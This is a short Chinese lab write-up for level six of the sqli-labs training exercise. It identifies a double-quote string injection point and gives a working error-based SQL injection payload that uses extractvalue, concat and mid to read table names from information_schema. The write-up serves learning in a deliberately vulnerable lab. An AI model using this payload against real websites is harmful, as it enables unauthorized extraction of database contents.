sqllab第六关通关笔记

知识点:

  • 报错注入回顾
  • 原始语句测试
  • 截取函数
    • mid(字符串,起始位置,长度)
    • substr(字符串,起始位置,长度)
    • left(字符串,长度)
    • right(字符串,长度)
  • 加入截取控制的错误注入payload
    • payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+
  • 关键表信息回顾

首先判断注入类型

构造id=1/0

发现正常输出;应该是字符型注入

构造id=1'

发现正常输出;不是单引号的输入读取

构造id=1"

发现报错了;好了,双引号引起的注入

利用错误注入进行数据读取

构造payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+

成功读取到了数据库的表信息;进一步可以读取字段名和关键信息

这里采用了mid截取函数进行长度控制;由于读取的内容小于32位,所以直接全部输出了;要不然就得分段读取

10

相关推荐
jane_xing6 分钟前
【Hello-Agents】学习笔记(一)
笔记·ai agent
zhangrelay3 小时前
ROS云课三分钟-cmake默认版本和升级-260120
笔记·学习
lkbhua莱克瓦244 小时前
JavaScript核心语法
开发语言·前端·javascript·笔记·html·ecmascript·javaweb
SmartBrain4 小时前
Agent 知识总结
服务器·数据库·笔记
杨浦老苏4 小时前
离线优先的自托管笔记应用Anchor
笔记·docker·群晖
CryptoPP4 小时前
主流国际股票行情API接口横向对比:如何选择适合你的数据源?
大数据·笔记·金融·区块链
代码游侠5 小时前
嵌入式开发——ARM Cortex-A7内核和i.MX6处理器相关的底层头文件
arm开发·笔记·嵌入式硬件·学习·架构
hetao17338375 小时前
2026-01-19~20 hetao1733837 的刷题笔记
c++·笔记·算法
优雅的潮叭6 小时前
c++ 学习笔记之 volatile与atomic
c++·笔记·学习
宵时待雨6 小时前
STM32笔记归纳2:GPIO
笔记·stm32·嵌入式硬件